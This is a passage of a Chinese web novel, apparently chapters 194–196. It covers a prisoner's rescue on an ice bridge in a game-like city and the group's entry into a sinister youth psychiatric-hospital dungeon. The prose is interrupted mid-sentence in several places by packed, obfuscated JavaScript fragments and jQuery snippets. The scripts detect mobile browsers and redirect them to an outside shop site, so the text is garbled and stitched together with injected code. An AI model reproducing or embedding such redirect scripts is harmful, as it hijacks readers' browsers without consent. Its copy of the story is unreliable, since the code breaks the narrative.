冬逢初又一次沉默了。他转过头,在漫天细雪中,珍重地望向她:“我想你活下去。我不希望你也消失不见。” 初与序微微侧过头看向他:“我对你来说很重要吗?” “很重要。” 初与序淡淡道:“这只是我们第一次见面,你不了解我的生活,不了解我的真实性格,甚至连我的名字都不知道,我对你没什么重要的。” 冬逢初摇摇头,眼底是细碎的雪光:“这不矛盾。你是一个独立坚强的女孩子,我衷心希望你能够一切顺利,自由平安。我不了解你的全部,可遇见你也不容易。你并不排斥我,我想我也不是轻诺之人。我愿意花时间理解你,认同你,相信你。” 初与序静静地与他对视,没有任何表情。此刻的氛围像是清洌的雪天夹杂着薄雾,她认为自己触及到对方,却永远看不清他,裹在寒冷的雪里。雪轻轻落下,他也会一同离自己而去。 最后,初与序眨了眨眼,垂眸轻轻拂去衣服上的落雪,轻飘飘道:“我叫初与序,记住我。我该走了,日后再见。” 冬逢初下意识伸手,又怕冒犯到,收回手:“下雪天,你要去干什么?” 初与序抬起头,朝他露出一个笑:“去准备让未来的我们都能活下去的计划。” 冬逢初只是微微惊讶,但并不多问,轻声确认:“明早在病区还能见到你吗?” “随时都能。” 眼前的场景开始如雾气般消散,视线变得模糊。最后时刻,初与序忽然回眸:“假如多年之后才能再相见,你还能认出我吗?” 冬逢初注视着她的眼睛:“我记得你的眼睛,我一定能认出你。” 初与序缓缓睁开眼,映入眼帘的是D栋1802熟悉的卧室天花板。 火腿面包见她醒来,蹦到她枕边:“怎么样?这次梦到的有用了没?” 初与序利落地翻身下床,窗外的暴雪依旧肆虐,天光在雪幕中泛着蓝灰色。她走到窗边,伸手碰了一下玻璃,冰冷的触感驱散了睡意。 “有用。” 雪纪周的寒意是渗入骨子里的,天色这些天一直蒙着灰,南方人待在这里既新鲜又遭罪,呵出的白气来不及消散就凝成冰晶。 冬逢初也算是南方人,没怎么经历过这么冷的天气。处罚区隔离室没有暖气,伸手摸墙,手都可以冻粘在上面。他坐在角落里,寒冷使手腕上的骨折伤麻木,感觉不到疼痛。 他抬头看了一眼窗外,只有白茫茫雪幕,便又低下头。 铁栏杆代替了门,两个执行官一左一右守着他。左边正是A10,右边到是个面生的。冬逢初觉得他长得像大马猴。 大马猴这时笑了,讥讽道:“还剩一小时,连个送行的都没有。” 冬逢初道:“也好。” A10闻言诧异,转头看去,就看到冬逢初也在看他,眼神中满是淡然,似乎马上要死的人不是他一样。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984892|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > A10想起之前自己给他的队伍偷偷传递信息,不由得心虚,咽了咽口水,道:“怎……怎么了?” 冬逢初弯了弯眉眼,道:“希望我死吗?” A10张了张嘴,他应该点头的,作为A12的亲信,作为既得利益者,冬逢初是他的对手,按理来说他巴不得冬逢初死。但冬逢初又不是什么坏人,也没害他什么,反而自己这边才是施暴者。凭真心论,他又不希望冬逢初死。 他猛地别过脸,错开冬逢初的视线。 寂静蔓延了几秒,A10还是忍不住用余光瞥去,却见冬逢初已经移开视线。 时间一分一秒过去,八点半整的时候,刺耳的铃声响起,在隔离区走廊里回荡。 铁栏杆门被站在大马猴用钥匙打开,他迈步走进来,戏谑道:“起来,该去刑场了。” 冬逢初依言站起身,长时间的低温让他动作有些僵硬。大马猴上前,再次用力拉扯检查他手脚的镣铐,确实万无一失后,他才侧身示意冬逢初向外走。 冬逢初迈出隔离室,转头看,脚步微微一顿。 门外,并未他预想的只有两三人。整整六名身着制服,真枪实弹的执行官立在走廊两侧。六双眼睛齐刷刷落在他身上。 冬逢初:“?” 这阵仗倒也合理。冬逢初本身就是高危存在,其次哪个执行官不知道他队伍里那几个队友是什么德行。基本上每次出事,最少都有他们五个中一个人在。执行官如此兴师动众,就是怕冬逢初逃跑,或者那几个队友劫人。 八名执行官严密地押着冬逢初,穿过隔离区长廊,推开那扇沉重的后门。 刹那间,更加猛烈的风雪扑面而来,吹得人几乎睁不开眼。冬逢初抬手遮住风雪,才勉强抬眼。眼前,一座巨大的冰桥建立在虚空之中,桥身完全由很厚的冰块构筑,沉重威严。 这便是忘川桥。 忘川桥连接隔离区和刑场,可容纳数人并行。桥面覆盖着新落的积雪,两侧是光滑的护栏。桥下,透过风雪迷雾,能看见永冬之城的中央公园。 忘川桥,其名便昭示了它的功能。踏过此桥,便如渡过神话中的忘川河,前尘罪业一笔勾销,准备迎接系统安排的“投胎”。正因桥身极高,系统也从未在这里设下过多防止跳桥的禁制,因为那等同于自杀。 冬逢初在桥头驻足,冷空气吸入肺腑。他盯着忘川桥看了几秒,面无表情。 身后的执行官不耐烦,推搡了他一下:“看什么看,快走!” 冬逢初顺势迈出脚步,踏上了忘川桥那覆盖积雪的桥面。 194.劫人 忘川桥横跨在深渊之上,暴雪如瀑,将整个世界染成白色。风呼啸着割过桥面,雪及膝盖深,每走一步都很艰难。 冬逢初走在中间,没有任何表情,身后的脚印转眼被积雪盖去。 前后押送的八名执行官却远不如他平静,他们紧绷着神经,死死盯着他的身影,手指搭在枪的扳机上,随时准备扣动。但是直到桥身已过大半,什么都没有发生,只是风雪更大了些。 行至拱桥最高处,风雪几乎要将人掀飞,队伍不得不放慢脚步慢慢挪动。 “风雪太大了。”身后一位年轻执行官呼出一大口雾气,“我们要先和总部汇报一下行程,可能不能在规定时间内走到刑场,行刑时间至少得推迟十分钟。” “不必了。”冬逢初忽然停住脚步,微微侧过头,“劳烦问一下,现在几点?” 那位执行官怔了一下,下意识抬腕看了一眼时间:“八点四十五。” “多谢。”冬逢初颔首。 “快点走!”前方的执行官高声提醒,其他执行官随着他的步伐迈出一步,靴子陷入深雪。 下一秒,他们同时意识到某人并没迈出,齐刷刷回过头。 冬逢初已经停留在原地,不再前进。 他脸上温润的笑意褪得干干净净,只剩下冷漠。脸色苍白,扫过如临大敌的众人。狂风卷起他的衣摆和发丝,雪片不断扑打在他身上,笔挺的身影在茫茫白雪中若隐若现,仿佛下一秒就要被暴雪吞没。 “喂!你什么意思?!”为首的一位执行官厉声喝道。 冬逢初没有回答,甚至没有动一动。执行官和身边的同伴疑惑地对视一眼,最终决定上前一步弄清楚到底是怎么回事。 风雪刮得人睁不开眼,两人眯着眼,勉强看到冬逢初的身影朝他们的方向看来,轻轻动了下唇,低声说了一个词,看口型是——“抱歉”。 没等他们反应过来,下一秒,两人脚下像是被绳索猛地一扯,身体瞬间失去平衡,齐齐向前扑倒,重重栽进深厚的积雪里。同时,所有人的耳边传来撕裂耳膜的尖锐噪声,刺目的强光从桥两侧射过来,扰乱了他们的感官,冲击着桥面上的积雪。 忘川桥拱顶厚重的雪层发出闷声,随即崩塌,直直坠下,吞没了那两名刚刚倒地的执行官,将他们掩埋在雪堆之中。 “警戒——!” 执行官们训练有素,立刻整理好队伍,手持武器围成一个圈。然而,大块大块的雪块劈头盖脸砸落,一个人从雪堆里探出头,另一个人又被新一轮雪崩掩埋。即使是机器人的执行官,在这种混乱中也左支右绌。 一名侥幸没被雪掩盖的执行官猛地抬手,用力按下腰间的警报,等着全城的警报红光亮起。但过了好几秒,一点动静都没有。 他豁然转头,目光穿过雪幕看向冬逢初。看见冬逢初正默默地盯着自己,眼神深不见底。 “别在雪里睡觉了!”执行官吼道,奋力从身旁雪堆里拽出两名同伴,“警报装置被玩家动了手脚!” 另一名执行官抹去护目镜上的冰碴,看向冬逢初,发现他身上的镣铐还在,松了口气:“别急!他身上的锁链还在,没有钥匙,跑不掉!重整队形过桥!” 执行官们挣扎着从雪堆里脱身,试图重新聚集。 就在混乱之中,忘川桥桥栏边缘的积雪被一只戴着手套的手扫开,一道扎着麻花辫的身影如灵猫般从桥下翻跃而上,轻盈地落在冬逢初身后。 冬逢初似有所感,猛地回头。 他和白闽对视上,后者咧开嘴朝他笑了一下,挥挥手:“Hi,又见面了。” 没等冬逢初反应过来,被铐在背后的双手手里被塞入一个冰凉的物件。他蜷起手,感知到那是一把钥匙。 “快点快点,你快点。”白闽压低声音提醒。 冬逢初立刻动手,一边试图将钥匙插入手铐的锁孔,一边低声问:“你怎么上来的?” 白闽眨了眨眼:“飞上来的,哎呀你别管了。” 冬逢初还想说什么,就在这时一名执行官猛地转头,看向桥沿这边。他立刻高声喊道:“桥边有人!” 他抬手从腰间抽出一条长鞭,狠狠甩向白闽站立的位置! 冬逢初只听见身侧的白闽嘀咕了一句:“咋和我武器撞款了?”接着她的身影向后推去,背部紧贴桥栏,轻飘飘地翻身落入桥下弥漫的风雪之中,不见踪影。 冬逢初下意识转头望向桥下,那里只有翻滚的雪雾。在这样的高度坠下,又被暴雪吞没,连全尸都留不住。白闽到底是不是人。 来不及多想,冬逢初收回视线,手里动作加快。 手铐锁孔老旧,铁锈和倒刺刮着皮肉,左手手腕的伤没好全。但好在严寒早已将双手冻得麻木,感受不到太多疼痛。 在混乱的掩护下,他腕间一松,那副沉重的手铐落入深厚的积雪。 冬逢初立刻蹲下去解脚上的镣铐,但此刻,一名执行官已经大致恢复视觉,隐约看见他的动作,飞快举枪呵斥:“犯人要跑!” “直接瞄准开枪!千万不能让犯人跑走!” 执行官的枪口瞄准冬逢初的肩膀,就要扣下扳机。 一道模糊的身影从侧后方雪幕中跃出,初与序出现在那名执行官不远处,飞身而起,一脚踹向桥栏边缘。 一大蓬雪块劈头盖脸砸向执行官,执行官被这突如其来的干扰所激,下意识调转枪口。 而初与序借着一踹之力,身体向后轻盈滑开,将自己暴露在一个诱敌的位置上,吸引火力。 其他执行官没有被遮挡视线,看到了初与序,同时倒吸一口凉气,心里暗叫不妙。 这姑奶奶怎么来了啊我去! 而就在这争取来的间隙里,冬逢初转动钥匙,脚镣落入雪中,再无束缚。 然而,让所有执行官惊愕的是,他并没有奔向初与序,反而转身,向着桥梁另一侧的无人边缘跑过去,竟是要跃下冰桥。 所有执行官神经立刻紧绷,八道枪口本能地转向那道急速奔跑的身影。 “开枪!”他们已经顾不得会不会伤到自己人了,选择直接开枪。 一发流弹竟然精准地射入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989130|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬逢初的右肩,炸开一团刺目的血雾。那抹猩红在苍白中绽放,显眼极了。执行官立刻锁定了他的方位,更多子弹呼啸而来。 剧痛让冬逢初脚步踉跄,他下意识伸手捂住伤口,鲜血从指缝间汩汩涌出。 他猛地转过头,朝自己飞射过来的无数子弹在他眼前放大,瞳孔受了刺激缩小。 就在弹雨即将要将他打成筛子的时候,冬逢初面前的冷空气突然停止在半空中,荡开一圈半透明的金色屏障,子弹撞击在上面,掉入雪地中。 他认出这是安楚的法阵。 另一侧的初与序如一道轻烟,穿梭在执行官之间中,出现在冬逢初“跳桥”路径的正前方。 两人在狂风咆哮的桥沿边汇合。 初与序握住冬逢初染血的右手腕,喊道:“跳!” 没有半分迟疑,两道身影在漫天飞雪中一同翻身,决绝地坠入桥下那翻涌不息的浓白之中。 ??? 就这么跳下去了? 忘川桥上顿时一片死寂,执行官们死死盯着空荡的桥沿,一脸懵逼,无法理解两个大活人是如何在枪林弹雨和风雪中跳桥,也无法相信他们俩能存活。 直到这时,被毁坏的警报装置才被系统维修区的执行官们修好,刺耳的鸣笛响起,红光洒在永冬之城,系统冰冷的声音响起: 【警报!警报!玩家冬逢初、初与序叛逃,全体执行官立即警戒,分队出警。所有玩家禁止外出,锁好门窗注意安全,进入论坛举报叛逃者行踪将获重赏。】 千家万户的窗内,一张张错愕的脸抬起。玩家们完全没明白这突如其来的消息,第一反应就是涌入论坛查看情报,可点开熟悉的网页,只出现一片黑暗。 不止是官方所有论坛,连最深处的暗网都全部被黑客崩坏,没有玩家和执行官能进得去。 暴雪封路,信息断绝。 屠宰场内部彻底乱成一窝蜂,懂技术的玩家疯狂敲击键盘试图修复论坛,与执行官有联系的玩家尝试通讯却无用,更有住在冰桥附近的玩家不顾暴雪推开窗户试图寻觅那两道身影,结果就是被守在外面的执行官赶回去。 一切努力都石沉大海,对方的力量太强大了,完全控制了整座永冬之城和全体玩家。 关应好站在办公室里,死死盯着窗外。他脚下散落的杂物狼藉一地,几个成员站在后面瑟瑟发抖。 他猛地转身,厉声道:“他们绝对不会留在永冬之城,一定打算逃到副本里去!” 他看向闻声赶来的几名心腹,下令道:“立刻派三个人跟我去联系上面,把情况汇报给老大!一部分人留守,看住家业!再分一队人偷摸去处理区,找执行官弄清楚现在进度!” “林志、付遇、蒋川——你们去车站!去赌初与序和冬逢初!必须把人给我带回来!” “二……二哥。”一个玩家低着头,小声开口,“蒋川她可能不愿意跟我们……” “那就威胁!”关应好眼中闪过嗜血的光,“她若不同意,就像周听一起,下地狱去吧!” “是……是!” 195.下桥 身体在狂风中急速下坠,失重感裹着冬逢初,他被风刮得睁不开眼,只好闭上双眼,握着初与序的手。 然而,预想中的坠落并未持续,他只觉得腰间猛地一紧,一条紫色长鞭缠上他和初与序的腰身,将他们下坠之势往后一扯。 风声在耳边变向,两人被这股力量凌空拽向忘川桥的桥腹之下。 “后面有障碍物,翻过来!”后方传来白闽急促的提醒声。 桥底由数道横梁支撑,两人的脚尖点在一条狭窄的木梁上,而缠在他们腰间的鞭子被后方另一道梁木阻挡,不得不收回。 没有犹豫,初与序和冬逢初脚下同时发力,借力腾空,一个后空翻落在了后方结实的横梁上。 那条紫鞭再次破空而来,这一次只是轻柔地在他俩臂弯处一绕,稳住他们的身形。 桥底遮住了大部分风雪,横梁上只有薄薄一层冰晶,不用担心滑倒。抬眼望去,白闽正蹲在前方不远处另一个根梁上,一只手撑着下巴,另一手卷着收回的鞭子,歪头看着他们,戏谑道:“诶,你们俩怪轻的呢,我都没用多大力。” “多谢。”初与序对白闽说,转头查看冬逢初的伤势。 冬逢初的右肩被流弹贯穿,最初涌出的血已经冻结,但新鲜的血液仍不断从伤口中涌出。他的左手腕还缠着绷带,但也开始渗出鲜血,血珠顺着指尖滴落。 初与序忙抬头看他,冬逢初唇角溢出血丝,脸色苍白,呼吸因剧痛而短促。 她快速取出绷带,缠绕上他的肩膀,试图止血。 冬逢初任由她摆布,眼睫低垂,视线有些涣散,但一直落在初与序的脸上。她的头发上沾着雪花,脸色也不太好看。 他偏过头向下望去,下方隐约能看见中央公园,而站台就在公园的不远处。 “……你们一直等在这里?”冬逢初道。 初与序点头道:“算是吧。” 冬逢初又环顾了一下四周,这种垂直的桥墩,单凭人力绝对不可能攀上。 “这是怎么上来的?”他扫了一眼一边的白闽,又看向初与序。 白闽撑着脸,笑道:“说来话长,先不说了。” 冬逢初不再追问,点了点头,“接下来去哪?” “你们俩当然要去副本里面。”白闽正在通过耳机和谁交谈,偏过头道,“永冬之城太危险了,所有人都在找你们。” 她抬手指向车站的方向:“随歌就在那等着,D19已经把他的竹扇偷偷还给他了,见了面直接给你治伤。” 冬逢初低头看向下方模糊不清的深渊,沉默片刻,问:“我们怎么下去……?” “放心吧,初与序早就想好办法了。”白闽抬手示意冬逢初等一会儿,随后抬手按住耳机,低语几句,随即看向不远处的处罚区天台,朝那个方向微微颔首。 她转过头,看向身后两人,朝初与序比了个“OK”的手势。初与序将绷带打了个结,和冬逢初靠近白闽。 “我可以自己下去,但没办法带你们俩。”白闽道,“你们俩下去得靠向枝冥和安楚。” 冬逢初扬起眉,道:“你确定他们愿意合作?” “……”白闽无奈地耸耸肩:“众所周知,这俩孙子水火不容,肯定不愿意。但除了他们俩合作,没人能想出从这鬼地方安全下去的办法——好吧,其实现在这个办法也要冒险……” 她深吸一口气,开始解释: “向枝冥和安楚已经溜到了那边的处罚区天台,安楚会在忘川桥下面布一个只有我们能看见的法阵,那玩意儿可以把你们下坠的力道减掉一大半,保证你们摔不死。但必须是在永冬之城使用技能,大大限制,所以这个阵法只能生效一次,而且最多维持二十秒。” 冬逢初指着下方翻涌的风雪,问道:“但我们该怎么掉进法阵里?” “这就要看向枝冥的了。他会在你们跳下去时,在桥下强行开出一条垂直的风道。这条风道里,所有的风雪都会笔直向上吹,它能托住你们,尽量将你们送到安楚的法阵上方。” “但是,”白闽话锋一转,“问题就在这里。向枝冥的符纸在这鬼天气效果不稳,最多只能撑十一秒。而安楚的法阵有二十秒,这意味着,在最后九秒时,风的方向会完全混乱,你们会彻底自由落体,甚至被风暴掀飞。” 冬逢初皱起眉,问道:“为什么不试试把符纸用在最后十一秒,调整我们的位置?” 初与序摇摇头,声音冷静:“我们也设想过这个方案,但不行。” “上空风力太强,永冬之城系统限制也在干扰。如果一开始不稳住风道,我们跳下去时大概率会被狂风直接卷走。即使在最后十一秒开启风道,也根本无法找到我们,更别提将我们重新拉回正确轨道,成功率远没有现在的方案高。” 白闽抱着胳膊,点点头:“所以,前十一秒你们在风道里下落。最后九秒,全靠你们控制自身的能力,以及运气,来决定能不能掉进安楚的法阵里。错过,或者法阵的位置有偏差,你们俩就GG了。” 就在白闽解释方法时,处罚区天天上,向枝冥站在锁上的铁门边,听着门后任何声音,确保他们的行动没有暴露。 安楚立于天台边缘,观察着忘川桥下那片区域,计算自己要布置法阵的最佳区域,防止出现意外。 风雪太大,影响视线。他头也不回,淡淡道:“向枝冥,将护目镜拿给我。” 向枝冥看向他,冷冰冰说:“你谁啊?凭什么使唤我?” 安楚依旧没回头:“没人教过你怎么和别人礼貌说话吗?” “当然没有了。”向枝冥盯着对方背影,眼神一沉,“能教我那些家人,不都死了吗?师哥,你知道的。” 安楚闻言神色一顿,抿了抿唇,不再开口。 向枝冥见状还想说什么,但安楚已经恢复了先前的淡漠,平静开口:“法阵位置已经定好了,你来确认,有什么事情稍后再说。” 都是成年人了,还是分得清主次的。向枝冥咽回快到嘴边的话,来到天台边缘,顺着安楚示意的方向望去。 在下方的雪地上,一片只有他们能看见的法阵虚影正在缓慢旋转,标记出预设的落点区域。 “没错。”他确认道。 不再多言,向枝冥打开面板,夹出一张符纸,接着咬破指尖,在符纸上飞快勾勒起符文,血色的线条在符纸上微微发光。 安楚的目光落到那道熟悉的符文上,但又很快垂下眼,抬手按住耳机:“倒计时十秒,请准备。” 白闽向下望去,透过雪幕能看见桥下雪地上,亮起一片幽蓝色的光芒。 那是一个巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009353|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的法阵虚影,在暴风雪中显现。距离太远,无法估量它的具体范围。 “回北和赵禾在下面接应。”白闽将两人带到横梁边缘,“到了下面赶紧跑,别被任何人看到,我不确定这附近还有没有敌人。” “三——” “二——” “一——!” 初与序和冬逢初纵身跃出横梁。 安楚快速结印,雪地里的法阵随着他的动作,光芒暴涨,符文流转,从虚幻的光影转化成实体。 向枝冥食指最后一笔血符恰好完成,他右手食指中指并拢,夹着那张泛着血光的符纸,朝着忘川桥下的虚空猛然一点: “定!” 符纸脱手,化作一缕流光,停在下方法阵的正上方。 一股庞大的力量以符纸为中心荡开,符纸下方一片圆柱形区域内,所有狂舞的雪花竟在空气中停住住。 紧接着,所有风雪扭转了方向,化作一道笔直的垂直气流,狂暴地向上奔涌。 白闽按下十一秒倒计时,心里疯狂祈祷一切平安。 初与序和冬逢初坠入那条风道,没等他们反应过来,一股强大的气流仿佛无形的巨手,将他们笔直地“按”向下方那片法阵中。 十秒、九秒、八秒…… 风道内的气流开始混乱。 七秒、六秒、五秒…… 向枝冥的符纸光芒一闪一灭。 四秒、三秒、两秒…… 符纸上的血色符文彻底淡下去,化作灰烬,消散在风雪中。 最后一秒,笼罩着两人的垂直风柱猛地消失。 向上的托举力量抽离,巨大的失重感如铁锤般砸向五脏六腑。身体彻底失控,胸腔剧烈地疼痛,每一次呼吸都像在吞刀片。 另外三人把所有的注意力都放在初与序和冬逢初急速坠落的身影上,还有三秒,按照这个轨迹,他们一定能安全落入阵中。 意识到这一点,三人都微微松了口气。 就在此刻,一股不自然的狂流从侧方扑向初与序! “我操!”向枝冥破口大骂,“他妈谁偷袭啊?!” 初与序被风暴扑了满面,她不得不侧过头咳嗽,在狂风的冲击下地向法阵边缘坠落。 眼看她就要摔在坚硬的冻土上,冬逢初忙伸出手臂,搂住她的腰将她拽向自己怀里。 下一秒,两人重重摔在法阵边缘,身下的触感柔软,巨大的冲击力被化解。 冬逢初喉头一甜,侧头咳出一口鲜血。 两人在雪坑中撑起身体,法阵的光芒也在下一秒消失。旁边一处雪堆后忽然窜出两道人影,朝着两人冲过来。初与序转头一看,是回北和赵禾。 回北来到冬逢初身边左看看右看看:“还能动吗?” 冬逢初用手背抹去唇边血迹,抬手示意无碍。 赵禾抬起头看向方才狂风袭来的方向,试图找到偷袭者。但只有满目苍白,连个影子都找不到。 “你们快走。”她收回目光,冷冷道,“刚才那阵风不对,下手的人应该还在附近。” 初与序低声道:“这里就交给你们了。” 赵禾点了点头:“放心。” 初与序回头,最后看了一眼高耸入云的忘川桥。随后与冬逢初同时转身,朝着车站的方向跑去。 196.坏孩子 永冬之城被暴雪掩盖的车站上空荡荡的,此时静悄悄停着一辆列车。 车厢内,随歌急躁地在过道里来回踱步,时不时趴在车窗上向外张望:“J姐啊,你说那两人应该没事吧?咋现在还没来啊?急死我了哎哟!” 驾驶座上,J23慢条斯理地用锉刀修剪着指甲,头也不抬道:“你急什么?他们可是初与序和冬逢初。要是像你认为的那么弱,早就在屠宰场手上死八百回了。” “俺知道嘞,他们俩是不死鸟。”随歌点点头,“但俺怕他们受伤啊,谁知道会不会有哪个天杀的王八蛋提前埋伏在附近?” J23这才抬起眼皮:“你们的计划,知情者只有你们队、回北队、齐无尽和白闽等人,谁会提前埋伏?” 随歌想了想,压低声音:“唉你别说,我真觉得齐无尽那孙子不像啥好人……但他的人品,应该不会干这么缺德的事情吧?” 他话音未落,身后,两道人影从车外飞速闪入,车门关上。 “我操!”随歌被吓了一跳,惊魂未定,“你们啥时候进来的!” 初与序道:“开车。” “好嘞。”J23一踩油门:“去哪个副本?” “随便。” “那就最近的。” 列车加速启动,窗外的风景变成熟悉的白茫茫雪幕。这时随歌才反应过来,冲到冬逢初身边,掏出竹扇就给他疗伤。 【尊敬的各位玩家您好,您搭乘的D019次列车即将出发,请配合工作人员妥善安置行李,防止遗失。本次列车起点站:永冬之城;终点站:《坏孩子》。接下来,我会为各位讲解副本背景设定:】 【欢迎来到“善佑青少年私立精神病院”,这是一所致力于引导迷途少年重返正轨的模范机构。在这里,我们坚信每个孩子内心都深藏着纯粹的善意,只需稍加引导,便能绽放光芒。】 【本院采用业界领先的“行为矫正”体系。您的手环将实时记录并评估您的行为。请务必遵守院内规定,积极配合治疗。记住,在这里,做一个“乖孩子”是唯一的出路。任何叛逆不合作或试图探寻本院秘密的行为,都将被视为对“善意”的亵渎,并会招致……必要的矫正。】 【主线任务:存活三天时间,并通过副本。】 【警告!警告!异常状态检测】 「此副本归于强制开启,系统监管未完全加载。副本内部分规则逻辑可能出现漏洞,请玩家自行探索并承担相应风险。」 车厢内几人都愣了一下。 J23解释道:“雪纪周所有副本禁止开启,我们强行开启,这种警告是正常的。” 冬逢初沉吟片刻,问道:“也就是说,如果我们在副本里干了任何事,回到永冬之城也不会受到处罚?” “没错。”J23点点头,补充道,“毁掉场景除外,因为这样你们会受到社畜D19和S23的制裁。” “感觉你们又要搞事啊……”随歌摇摇头,回忆刚刚的广播,“广播刚刚说那个医院叫啥名字来着?善什么……善佑?等等!” 他猛地转头看向初与序:“我操!这不是你以前住过的那家医院吗?” 初与序面无表情:“是的。” 这是第二个与现实地点重合的副本了,上一次是《死亡电梯》。 可为什么偏偏是这两个地点?它们在现实中被选中,又在永冬之城被复现,到底有什么关联? 初与序侧过头看冬逢初,问道:“你以前在那里住过吗?” 冬逢初迎着她的视线,想了想,摇头道:“我记不得了,应该是没有的。” 初与序没有再追问,轻飘飘地看了他一眼,就转回了头。 根据火腿面包之前提供的两次“梦境”,冬逢初分明存在于当时的善佑医院,甚至与自己关系不错。她能确认冬逢初一定在那里度过了一段时光,也一定拥有那段记忆。 可他选择了隐瞒,为什么? 是为了保护什么?还是掩盖什么?或许连初与序出院后独独缺失了关于他的记忆,也是他用了某种方法造成的。 列车缓缓停靠,接着J23的对讲机里忽然传来其他执行官的询问:“J队J队!你那边D019列车怎么回事?系统显示它启动了!” J23道:“不知道啊,可能是系统又故障,自己跑的吧?”说着,她转过头用眼神催促三人快点下车。 三人立刻起身,拉开车门,进入雾气当中。 越往前走,空气就越稀薄。初与序感觉到四肢的骨头莫名泛起酸痛,身后的随歌也“啧”了一声,伸手揉着自己的肩膀,嘀咕道:“怪了,我昨晚也没落枕啊,怎么浑身不得劲……” 他话音落下,四周的雾气从两边拨开,露出前方的场景。 头顶是阴沉的天空,潮湿的氛围。前方是大片灰败的建筑,一圈圈铁丝网环绕着。楼房所有的窗户都被铁栏杆封死,正中挂号部大楼的楼顶,竖着泛着红光的灯牌——“善佑青少年医院”。 穿着白大褂的医生护士面无表情地走动,偶尔能看见几个在凛冽冬日只穿着单薄病号服的孩子,要么被护士粗暴地押送,要么被保安厉声追赶打骂。 几乎没有像以前初与序那样平静的孩子,更多的是扭曲癫狂的神情,一双双眼睛直勾勾地盯着三人。 和初与序记忆里的一模一样。 她心头一沉,脸上没什么表情,下意识垂下了眼。 这一垂眼,她才发现三人的变化。 他们的身体缩小成十五岁的样子,衣着变成了一套蓝白条纹的病号服。寒风刀子一样刮过,冷意往骨头缝里钻。 她抬起左手腕,一个黑色手环戴在手腕上,屏幕上幽幽亮着一个数字:【0】。 随歌挠了挠头,四下张望:“这地方看着就邪门,咱们现在干嘛?” 初与序提醒道:“看看你们自己手上。” 冬逢初和随歌这才低头,同样看到了自己缩小的身体,单薄的病号服,以及手腕上的手环。 “这是……”冬逢初话还没说完,身后突然推来一股大力,把他推得向前踉跄一步。 三人头顶响起一道不耐烦的呵斥:“磨蹭什么!快走啊!迟到了有你们好受的!” 看来他们正在走“新病人入院登记”的剧情。 初与序回过头,看见身后站着两个穿白大褂的医生。而方才那个推人的医生面容格外眼熟。 初与序到现在还记得他的名字——“单良”,是现实中她当年的主治医生。 单良皱着眉,见初与序盯着自己,抬起手作势就要扇过来,嘴里骂骂咧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009354|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咧:“看什么看?!” 初与序没等他说完,已默然转过身,凭着记忆的路线朝住院部大楼走去。单良举在半空的手僵了一下,只好放下。 随歌瞥见他的名牌,嘀咕了一句:“善良个鬼啊……”然后转身快步跟上初与序和冬逢初。 【恭喜玩家进入主线剧情,解锁副线任务:成为“乖孩子”。】 系统音在三人脑海里响起,三人脚步不停,仔细听着。 【任务说明:善佑医院致力于培养循规蹈矩的“乖孩子”。请严格遵守医院内一切规定,积极接受治疗。】 【规则如下:】 「1.每位玩家初始积分为0分,身份为“孩子”,初始入住住院部2-4楼。」 「2.听从指令、配合治疗等“良好”行为,每次可获得2点积分。」 「3.违抗指令、破坏规则等“错误”行为,每次将扣除10点积分。」 「4.积分达到50,身份晋升为“乖孩子”。可入住环境最佳的一楼,并视为治愈,通关副本。」 「5.积分达低于-50,身份判定为“坏孩子”,将永久入住五楼接受强化管理,且身份不可逆转。」 【鉴于玩家身体已回溯至十五岁状态,为暴涨基础行动力,特发放辅助物品:「恢复身形胶囊」。每位玩家仅有一颗,服用后可恢复原有身形与体能,持续五小时。】 【祝各位玩家找到“正确”的通关方法。】 系统声音戛然而止。 冬逢初趁着医生不注意,打开面板。在道具栏的格子里躺着一粒白色胶囊,下面标注着字样:「恢复身形」。 三人来到住院部大楼前。 这是一栋五层的老旧建筑,墙皮大块剥落,整栋楼透着一股摇摇欲坠的死气。 随歌缩了缩脖子,低声道:“也太破了吧,跟危楼一样,应该不会塌吧……这里院长走两步掉两根金条下来。” 冬逢初道:“没那么穷哦。” 